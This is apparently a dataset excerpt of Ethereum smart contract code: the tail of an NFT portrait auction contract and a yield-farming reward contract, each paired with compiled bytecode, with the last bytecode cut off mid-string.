else { lovePoints.burn(bid); } biffysPortraits.transferFrom(address(this),auctionLastBidder[auctionId],auction.portraitId); } function depositAndBid(uint auctionId, uint amount) external { if(amount > loveBalances[msg.sender]){ deposit(amount.sub(loveBalances[msg.sender])); } bid(auctionId,amount); } function bid(uint auctionId, uint amount) public { Auction memory auction = auctions[auctionId]; require(now < auctionEndTime[auctionId], "Auction ended"); require(now > auction.startTime && auction.startTime != 0, "Auction not started"); require(amount >= auctionLastBid[auctionId].addBP(auction.minIncreaseBP), "Bid too low"); require(amount >= auction.startingBid, "Bid below starting bid"); require(loveBalances[msg.sender] >= amount, "Love balance too low"); require(msg.sender != auctionLastBidder[auctionId]); address lastBidder = auctionLastBidder[auctionId]; if(auctionLastBid[auctionId] != 0) { loveBalances[lastBidder] = loveBalances[lastBidder].add(auctionLastBid[auctionId]); } loveBalances[msg.sender] = loveBalances[msg.sender].sub(amount); auctionLastBid[auctionId] = amount; auctionLastBidder[auctionId] = msg.sender; auctionEndTime[auctionId] = now.add(auction.timerSeconds); } function deposit(uint amount) public { require(lovePoints.transferFrom(msg.sender, address(this), amount),"Transfer failed"); loveBalances[msg.sender] = loveBalances[msg.sender].add(amount); } function withdrawAll() external { withdraw(loveBalances[msg.sender], msg.sender); } function withdraw(uint amount, address to) public { require(loveBalances[msg.sender] >= amount, "Cannot withdraw more than balance"); require(amount > 0, "Must withdraw at least 1 wei of Love"); loveBalances[msg.sender] = loveBalances[msg.sender].sub(amount); uint toBurn = amount.mulBP(500); //5% burn on withdraw lovePoints.burn(toBurn); require(lovePoints.transfer(to, amount.sub(toBurn)),"Transfer Failed"); } function getAuction(uint auctionId) external view returns( uint portraitId, uint startingBid, uint minIncreaseBP, uint artistComissionBP, uint timerSeconds, uint startTime, address artist, uint endTime, address lastBidder, uint lastBid, bool isClaimed ) { Auction memory auction = auctions[auctionId]; portraitId = auction.portraitId; startingBid = auction.startingBid; minIncreaseBP = auction.minIncreaseBP; artistComissionBP = auction.artistComissionBP; timerSeconds = auction.timerSeconds; startTime = auction.startTime; artist = auction.artist; endTime = auctionEndTime[auctionId]; lastBidder = auctionLastBidder[auctionId]; lastBid = auctionLastBid[auctionId]; isClaimed = auctionIsClaimed[auctionId]; } }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c8063853828b6116100b8578063b6b55f251161007c578063b6b55f25146103bc578063c0069250146103d9578063c0c53b8b146103f6578063c4d66de81461042e578063e845089d14610454578063f2fde38b1461047757610136565b8063853828b6146103635780638da5cb5b1461036b5780638f32d59b1461038f5780639566d16314610397578063a6d22f2e146103b457610136565b8063692523bc116100ff578063692523bc1461026c578063715018a61461029d57806376cd9f65146102a5578063777de704146102c257806378bd7935146102df57610136565b8062f714ce1461013b57806326be7ec41461016957806346eb0a86146101b3578063571a26a0146101eb578063598647f814610249575b600080fd5b6101676004803603604081101561015157600080fd5b50803590602001356001600160a01b031661049d565b005b610167600480360360e081101561017f57600080fd5b5080359060208101359060408101359060608101359060808101359060a08101359060c001356001600160a01b03166106be565b6101d9600480360360208110156101c957600080fd5b50356001600160a01b0316610858565b60408051918252519081900360200190f35b6102086004803603602081101561020157600080fd5b503561086a565b604080519788526020880196909652868601949094526060860192909252608085015260a08401526001600160a01b031660c0830152519081900360e00190f35b6101676004803603604081101561025f57600080fd5b50803590602001356108b0565b6102896004803603602081101561028257600080fd5b5035610c03565b604080519115158252519081900360200190f35b610167610c18565b610167600480360360208110156102bb57600080fd5b5035610cbb565b6101d9600480360360208110156102d857600080fd5b50356110e8565b6102fc600480360360208110156102f557600080fd5b50356110fa565b604080519b8c5260208c019a909a528a8a019890985260608a0196909652608089019490945260a08801929092526001600160a01b0390811660c088015260e087019190915216610100850152610120840152151561014083015251908190036101600190f35b610167611257565b610373611272565b604080516001600160a01b039092168252519081900360200190f35b610289611281565b6101d9600480360360208110156103ad57600080fd5b50356112a7565b6101d96112b9565b610167600480360360208110156103d257600080fd5b50356112bf565b610373600480360360208110156103ef57600080fd5b50356113bb565b6101676004803603606081101561040c57600080fd5b506001600160a01b0381358116916020810135821691604090910135166113d6565b6101676004803603602081101561044457600080fd5b50356001600160a01b03166114b4565b6101676004803603604081101561046a57600080fd5b50803590602001356115a6565b6101676004803603602081101561048d57600080fd5b50356001600160a01b03166115f1565b336000908152606960205260409020548211156104eb5760405162461bcd60e51b81526004018080602001828103825260218152602001806119e56021913960400191505060405180910390fd5b6000821161052a5760405162461bcd60e51b8152600401808060200182810382526024815260200180611a2c6024913960400191505060405180910390fd5b3360009081526069602052604090205461054a908363ffffffff61165616565b3360009081526069602052604081209190915561056f836101f463ffffffff6116a116565b60665460408051630852cd8d60e31b81526004810184905290519293506001600160a01b03909116916342966c689160248082019260009290919082900301818387803b1580156105bf57600080fd5b505af11580156105d3573d6000803e3d6000fd5b50506066546001600160a01b0316915063a9059cbb9050836105fb868563ffffffff61165616565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561064a57600080fd5b505af115801561065e573d6000803e3d6000fd5b505050506040513d602081101561067457600080fd5b50516106b9576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8811985a5b1959608a1b604482015290519081900360640190fd5b505050565b6106c6611281565b610717576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b606754604080516323b872dd60e01b8152336004820152306024820152604481018a905290516001600160a01b03909216916323b872dd9160648082019260009290919082900301818387803b15801561077057600080fd5b505af1158015610784573d6000803e3d6000fd5b50506040805160e0810182528a815260208082018b81528284018b8152606084018b8152608085018b815260a086018b81526001600160a01b038b811660c089019081526068546000908152606e909852989096209651875593516001870155915160028601555160038501555160048401555160058301559151600690910180546001600160a01b0319169190921617905550610824905082846116d2565b606880546000908152606a60205260409020919091555461084c90600163ffffffff6116d216565b60685550505050505050565b60696020526000908152604090205481565b606e60205260009081526040902080546001820154600283015460038401546004850154600586015460069096015494959394929391929091906001600160a01b031687565b6108b861199e565b506000828152606e60209081526040808320815160e081018352815481526001820154818501526002820154818401526003820154606082015260048201546080820152600582015460a08201526006909101546001600160a01b031660c0820152858452606a909252909120544210610969576040805162461bcd60e51b815260206004820152600d60248201526c105d58dd1a5bdb88195b991959609a1b604482015290519081900360640190fd5b8060a001514211801561097f575060a081015115155b6109c6576040805162461bcd60e51b8152602060048201526013602482015272105d58dd1a5bdb881b9bdd081cdd185c9d1959606a1b604482015290519081900360640190fd5b6040808201516000858152606c60205291909120546109ea9163ffffffff61172c16565b821015610a2c576040805162461bcd60e51b815260206004820152600b60248201526a42696420746f6f206c6f7760a81b604482015290519081900360640190fd5b8060200151821015610a7e576040805162461bcd60e51b8152602060048201526016602482015275109a590818995b1bddc81cdd185c9d1a5b99c8189a5960521b604482015290519081900360640190fd5b33600090815260696020526040902054821115610ad9576040805162461bcd60e51b81526020600482015260146024820152734c6f76652062616c616e636520746f6f206c6f7760601b604482015290519081900360640190fd5b6000838152606b60205260409020546001600160a01b0316331415610afd57600080fd5b6000838152606b6020908152604080832054606c909252909120546001600160a01b039091169015610b79576000848152606c60209081526040808320546001600160a01b0385168452606990925290912054610b5f9163ffffffff6116d216565b6001600160a01b0382166000908152606960205260409020555b33600090815260696020526040902054610b99908463ffffffff61165616565b33600081815260696020908152604080832094909455878252606c8152838220879055606b90529190912080546001600160a01b03191690911790556080820151610beb90429063ffffffff6116d216565b6000948552606a602052604090942093909355505050565b606d6020526000908152604090205460ff1681565b610c20611281565b610c71576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b610cc361199e565b506000818152606e60209081526040808320815160e081018352815481526001820154818501526002820154818401526003820154606082015260048201546080820152600582015460a08201526006909101546001600160a01b031660c0820152848452606a909252909120544211610d78576040805162461bcd60e51b8152602060048201526011602482015270105d58dd1a5bdb881b9bdd08195b991959607a1b604482015290519081900360640190fd5b8060a0015142118015610d8e575060a081015115155b610dd5576040805162461bcd60e51b8152602060048201526013602482015272105d58dd1a5bdb881b9bdd081cdd185c9d1959606a1b604482015290519081900360640190fd5b6000828152606b60205260409020546001600160a01b0316610e2a576040805162461bcd60e51b81526020600482015260096024820152682737903bb4b73732b960b91b604482015290519081900360640190fd5b6000828152606d602052604090205460ff1615610e80576040805162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e4818db185a5b5959608a1b604482015290519081900360640190fd5b6000828152606c602052604090205460c08201516001600160a01b031615610ffd576000610ebb8360600151836116a190919063ffffffff16565b60665460c08501516040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b158015610f1857600080fd5b505af1158015610f2c573d6000803e3d6000fd5b505050506040513d6020811015610f4257600080fd5b5051610f88576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b6066546001600160a01b03166342966c68610fa9848463ffffffff61165616565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610fdf57600080fd5b505af1158015610ff3573d6000803e3d6000fd5b5050505050611063565b60665460408051630852cd8d60e31b81526004810184905290516001600160a01b03909216916342966c689160248082019260009290919082900301818387803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050505b6067546000848152606b602052604080822054855182516323b872dd60e01b81523060048201526001600160a01b039283166024820152604481019190915291519316926323b872dd9260648084019391929182900301818387803b1580156110cb57600080fd5b505af11580156110df573d6000803e3d6000fd5b50505050505050565b606a6020526000908152604090205481565b600080600080600080600080600080600061111361199e565b606e60008e81526020019081526020016000206040518060e00160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681525050905080600001519b5080602001519a508060400151995080606001519850806080015197508060a0015196508060c001519550606a60008e8152602001908152602001600020549450606b60008e815260200190815260200160002060009054906101000a90046001600160a01b03169350606c60008e8152602001908152602001600020549250606d60008e815260200190815260200160002060009054906101000a900460ff1691505091939597999b90929496989a50565b336000818152606960205260409020546112709161049d565b565b6033546001600160a01b031690565b6033546000906001600160a01b0316611298611761565b6001600160a01b031614905090565b606c6020526000908152604090205481565b60685481565b606654604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561131957600080fd5b505af115801561132d573d6000803e3d6000fd5b505050506040513d602081101561134357600080fd5b5051611388576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b336000908152606960205260409020546113a8908263ffffffff6116d216565b3360009081526069602052604090205550565b606b602052600090815260409020546001600160a01b031681565b600054610100900460ff16806113ef57506113ef611765565b806113fd575060005460ff16155b6114385760405162461bcd60e51b815260040180806020018281038252602e815260200180611a71602e913960400191505060405180910390fd5b600054610100900460ff16158015611463576000805460ff1961ff0019909116610100171660011790555b61146c826114b4565b606680546001600160a01b038087166001600160a01b031992831617909255606780549286169290911691909117905580156114ae576000805461ff00191690555b50505050565b600054610100900460ff16806114cd57506114cd611765565b806114db575060005460ff16155b6115165760405162461bcd60e51b815260040180806020018281038252602e815260200180611a71602e913960400191505060405180910390fd5b600054610100900460ff16158015611541576000805460ff1961ff0019909116610100171660011790555b603380546001600160a01b0319166001600160a01b0384811691909117918290556040519116906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a380156115a2576000805461ff00191690555b5050565b336000908152606960205260409020548111156115e757336000908152606960205260409020546115e7906115e290839063ffffffff61165616565b6112bf565b6115a282826108b0565b6115f9611281565b61164a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6116538161176b565b50565b600061169883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061180c565b90505b92915050565b6000826116b05750600061169b565b6116986127106116c6858563ffffffff6118a316565b9063ffffffff6118fc16565b600082820183811015611698576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261173b5750600061169b565b8161174757508161169b565b61169861175484846116a1565b849063ffffffff6116d216565b3390565b303b1590565b6001600160a01b0381166117b05760405162461bcd60e51b8152600401808060200182810382526026815260200180611a066026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b6000818484111561189b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611860578181015183820152602001611848565b50505050905090810190601f16801561188d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000826118b25750600061169b565b828202828482816118bf57fe5b04146116985760405162461bcd60e51b8152600401808060200182810382526021815260200180611a506021913960400191505060405180910390fd5b600061169883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836119885760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611860578181015183820152602001611848565b50600083858161199457fe5b0495945050505050565b6040518060e0016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160006001600160a01b03168152509056fe43616e6e6f74207769746864726177206d6f7265207468616e2062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d757374207769746864726177206174206c65617374203120776569206f66204c6f7665536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a265627a7a72315820c9ca4e006ecc01652d9acb378e1ff36ce3adf05e8ab9ea78b68fa75fe92ffec664736f6c63430005110032
[ 0, 7, 20 ]
0xF24c5A42F56d154FFD49b710b0DcdfFBA2a2F328
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.0; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IStaking.sol"; contract YieldFarmXfund3 { // lib using SafeMath for uint; using SafeMath for uint128; // constants uint public constant TOTAL_DISTRIBUTED_AMOUNT = 50; uint public constant NR_OF_EPOCHS = 10; uint128 public constant EPOCHS_DELAYED_FROM_STAKING_CONTRACT = 22; // start Staking epoch 23 // state variables // addreses address private _poolTokenAddress; address private _communityVault; // contracts IERC20 private _xfund; IStaking private _staking; uint[] private epochs = new uint[](NR_OF_EPOCHS + 1); uint private _totalAmountPerEpoch; uint128 public lastInitializedEpoch; mapping(address => uint128) private lastEpochIdHarvested; uint public epochDuration; // init from staking contract uint public epochStart; // init from staking contract // events event MassHarvest(address indexed user, uint256 epochsHarvested, uint256 totalValue); event Harvest(address indexed user, uint128 indexed epochId, uint256 amount); // constructor constructor(address xfundTokenAddress, address stakeContract, address communityVault) public { _xfund = IERC20(xfundTokenAddress); _poolTokenAddress = xfundTokenAddress; _staking = IStaking(stakeContract); _communityVault = communityVault; epochDuration = _staking.epochDuration(); epochStart = _staking.epoch1Start() + epochDuration.mul(EPOCHS_DELAYED_FROM_STAKING_CONTRACT); // xFUND has 9 decimals _totalAmountPerEpoch = TOTAL_DISTRIBUTED_AMOUNT.mul(10**9).div(NR_OF_EPOCHS); } // public methods // public method to harvest all the unharvested epochs until current epoch - 1 function massHarvest() external returns (uint){ uint totalDistributedValue; uint epochId = _getEpochId().sub(1); // fails in epoch 0 // force max number of epochs if (epochId > NR_OF_EPOCHS) { epochId = NR_OF_EPOCHS; } for (uint128 i = lastEpochIdHarvested[msg.sender] + 1; i <= epochId; i++) { // i = epochId // compute distributed Value and do one single transfer at the end totalDistributedValue += _harvest(i); } emit MassHarvest(msg.sender, epochId - lastEpochIdHarvested[msg.sender], totalDistributedValue); if (totalDistributedValue > 0) { _xfund.transferFrom(_communityVault, msg.sender, totalDistributedValue); } return totalDistributedValue; } function harvest (uint128 epochId) external returns (uint){ // checks for requested epoch require (_getEpochId() > epochId, "This epoch is in the future"); require(epochId <= NR_OF_EPOCHS, "Maximum number of epochs is 10"); require (lastEpochIdHarvested[msg.sender].add(1) == epochId, "Harvest in order"); uint userReward = _harvest(epochId); if (userReward > 0) { _xfund.transferFrom(_communityVault, msg.sender, userReward); } emit Harvest(msg.sender, epochId, userReward); return userReward; } // views // calls to the staking smart contract to retrieve the epoch total pool size function getPoolSize(uint128 epochId) external view returns (uint) { return _getPoolSize(epochId); } function getCurrentEpoch() external view returns (uint) { return _getEpochId(); } // calls to the staking smart contract to retrieve user balance for an epoch function getEpochStake(address userAddress, uint128 epochId) external view returns (uint) { return _getUserBalancePerEpoch(userAddress, epochId); } function userLastEpochIdHarvested() external view returns (uint){ return lastEpochIdHarvested[msg.sender]; } // internal methods function _initEpoch(uint128 epochId) internal { require(lastInitializedEpoch.add(1) == epochId, "Epoch can be init only in order"); lastInitializedEpoch = epochId; // call the staking smart contract to init the epoch epochs[epochId] = _getPoolSize(epochId); } function _harvest (uint128 epochId) internal returns (uint) { // try to initialize an epoch. if it can't it fails // if it fails either user either a BarnBridge account will init not init epochs if (lastInitializedEpoch < epochId) { _initEpoch(epochId); } // Set user state for last harvested lastEpochIdHarvested[msg.sender] = epochId; // compute and return user total reward. For optimization reasons the transfer have been moved to an upper layer (i.e. massHarvest needs to do a single transfer) // exit if there is no stake on the epoch if (epochs[epochId] == 0) { return 0; } return _totalAmountPerEpoch .mul(_getUserBalancePerEpoch(msg.sender, epochId)) .div(epochs[epochId]); } // retrieve _poolTokenAddress token balance function _getPoolSize(uint128 epochId) internal view returns (uint) { return _staking.getEpochPoolSize(_poolTokenAddress, _stakingEpochId(epochId)); } // retrieve _poolTokenAddress token balance per user per epoch function _getUserBalancePerEpoch(address userAddress, uint128 epochId) internal view returns (uint){ return _staking.getEpochUserBalance(userAddress, _poolTokenAddress, _stakingEpochId(epochId)); } // compute epoch id from block.timestamp and epochStart date function _getEpochId() internal view returns (uint128 epochId) { if (block.timestamp < epochStart) { return 0; } epochId = uint128(block.timestamp.sub(epochStart).div(epochDuration).add(1)); } // get the staking epoch function _stakingEpochId(uint128 epochId) pure internal returns (uint128) { return epochId + EPOCHS_DELAYED_FROM_STAKING_CONTRACT; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; interface IStaking { function getEpochId(uint timestamp) external view returns (uint); // get epoch id function getEpochUserBalance(address user, address token, uint128 epoch) external view returns(uint); function getEpochPoolSize(address token, uint128 epoch) external view returns (uint); function epoch1Start() external view returns (uint); function epochDuration() external view returns (uint); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c80639c7ec88111610081578063a6ace8a31161005b578063a6ace8a31461019a578063b97dd9e2146101a2578063f7e251f8146101aa576100d4565b80639c7ec88114610148578063a1c130d41461016c578063a43564eb14610174576100d4565b806343312451116100b257806343312451146101035780634ff0876a14610138578063674247d614610140576100d4565b806305917ac0146100d957806315e5a1e5146100f3578063290e4544146100fb575b600080fd5b6100e16101d0565b60408051918252519081900360200190f35b6100e16101d5565b6100e16101db565b6100e16004803603604081101561011957600080fd5b5080356001600160a01b031690602001356001600160801b031661033f565b6100e1610354565b6100e161035a565b61015061035f565b604080516001600160801b039092168252519081900360200190f35b6100e161036e565b6100e16004803603602081101561018a57600080fd5b50356001600160801b031661038a565b6101506105b9565b6100e16105be565b6100e1600480360360208110156101c057600080fd5b50356001600160801b03166105d6565b600a81565b60095481565b60008060006101fc60016101ed61067c565b6001600160801b0316906106c1565b9050600a81111561020b5750600a5b336000908152600760205260409020546001600160801b03166001015b81816001600160801b03161161024d5761024181610703565b90920191600101610228565b50336000818152600760209081526040918290205482516001600160801b039091168503815290810185905281517fb68dafc1da13dc868096d0b87347c831d0bda92d178317eb1dec7f788444485c929181900390910190a2811561033857600254600154604080516323b872dd60e01b81526001600160a01b03928316600482015233602482015260448101869052905191909216916323b872dd9160648083019260209291908290030181600087803b15801561030b57600080fd5b505af115801561031f573d6000803e3d6000fd5b505050506040513d602081101561033557600080fd5b50505b5090505b90565b600061034b83836107bd565b90505b92915050565b60085481565b603281565b6006546001600160801b031681565b336000908152600760205260409020546001600160801b031690565b6000816001600160801b031661039e61067c565b6001600160801b0316116103f9576040805162461bcd60e51b815260206004820152601b60248201527f546869732065706f636820697320696e20746865206675747572650000000000604482015290519081900360640190fd5b600a826001600160801b03161115610458576040805162461bcd60e51b815260206004820152601e60248201527f4d6178696d756d206e756d626572206f662065706f6368732069732031300000604482015290519081900360640190fd5b336000908152600760205260409020546001600160801b038084169161048091166001610874565b146104d2576040805162461bcd60e51b815260206004820152601060248201527f4861727665737420696e206f7264657200000000000000000000000000000000604482015290519081900360640190fd5b60006104dd83610703565b9050801561057157600254600154604080516323b872dd60e01b81526001600160a01b03928316600482015233602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b15801561054457600080fd5b505af1158015610558573d6000803e3d6000fd5b505050506040513d602081101561056e57600080fd5b50505b6040805182815290516001600160801b0385169133917f04ad45a69eeed9c390c3a678fed2d4b90bde98e742de9936d5e0915bf3d0ea4e9181900360200190a390505b919050565b601681565b60006105c861067c565b6001600160801b0316905090565b600061034e826108ce565b6000826105f05750600061034e565b828202828482816105fd57fe5b041461034b5760405162461bcd60e51b8152600401808060200182810382526021815260200180610b346021913960400191505060405180910390fd5b600061034b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610972565b60006009544210156106905750600061033c565b6106bc60016106b66008546106b0600954426106c190919063ffffffff16565b9061063a565b90610874565b905090565b600061034b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a14565b6006546000906001600160801b03808416911610156107255761072582610a6e565b33600090815260076020526040902080546fffffffffffffffffffffffffffffffff19166001600160801b03841690811790915560048054909190811061076857fe5b906000526020600020015460001415610783575060006105b4565b61034e6004836001600160801b03168154811061079c57fe5b90600052602060002001546106b06107b433866107bd565b600554906105e1565b6003546000805490916001600160a01b0390811691638c028dd0918691166107e486610b2d565b6040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b03168152602001826001600160801b03168152602001935050505060206040518083038186803b15801561084157600080fd5b505afa158015610855573d6000803e3d6000fd5b505050506040513d602081101561086b57600080fd5b50519392505050565b60008282018381101561034b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6003546000805490916